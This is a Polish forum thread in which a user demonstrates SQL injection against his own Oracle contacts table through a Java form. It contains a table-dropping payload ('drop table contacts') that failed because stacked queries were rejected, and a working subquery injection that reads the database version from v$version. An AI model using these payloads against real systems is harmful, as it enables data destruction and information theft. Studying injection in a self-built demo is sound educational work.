[slitch]

Mirki mam za zadanie zademonstrować jak działa SQL Injection. Stworzyłem sobie prostą bazę danych która wygląda następująco.

create table contacts(
userid NUMBER(6) CONSTRAINT receptapk PRIMARY KEY,
name VARCHAR2(30),
surname VARCHAR2(20),
phone Number(9)
);

Do tego mam formularz który ma trzy pola tekstowe; imie, nazwisko, numer telefonu.
Jeżeli dodam następujące dane w formularzu: Ada, Test, 123 to w bazie dodaje się nowy rekord.

INSERT INTO CONTACTS (userid,name,surname,phone) VALUES (CUSTOMERSEQ.nextval,'Ada', 'Test', '123')

Teraz chce zademonstrować sql Injection więc daję dane:
Ada,
Test,
1'); drop table contacts; --

INSERT INTO CONTACTS (userid,name,surname,phone) VALUES (CUSTOMERSEQ.nextval,'Ada', 'Test', '1'); drop table contacts;--')

Jednak zapytanie wyrzuca błąd w postaci:

java.sql.SQLSyntaxErrorException: ORA-00933: polecenie SQL niepoprawnie zakończone

Jak mogę poprawić to zapytanie by usuwało rekordy w bazie?

Chce to zrobić w Javie a baza którą używam to Oracle.

#bazydanych #programowanie

[akeyo20]

@slitch: nie jestem into oracle, ale jak wkleisz powyzsze w bazie, to dziala?

[slitch]

@akeyo20: Tak właśnie sprawdziłem i działa

[slitch]

@slitch:

[akeyo20]

@slitch: na pewno ten 'phone' dobrze wpisujesz?

[slitch]

@akeyo20: chyba tak

[akeyo20]

@slitch: nie wiem, co za biblioteka do sqla, ale escapuje apostrofy?

[Loperamid]

@slitch: Być może ta biblioteka SQL, której używasz nie lubi stacked queries, spróbuj wkleić do imienia coś takiego może:

Ada', (SELECT substr((SELECT banner FROM v$version), 1, 20) FROM dual), '123') --

powinno wyjść takie zapytanie:

INSERT INTO CONTACTS (userid,name,surname,phone) VALUES (CUSTOMERSEQ.nextval,'Ada', (SELECT substr((SELECT banner FROM v$version), 1, 20) FROM dual), '123') --

(przy założeniu, że nic nie #!$%@?łem)

[slitch]

@Loperamid @akeyo20 dzięki za pomoc, zademonstrowałem SQL Injection na przykładzie selecta i działa, ale tak jak napisałeś problemem były stacked queries.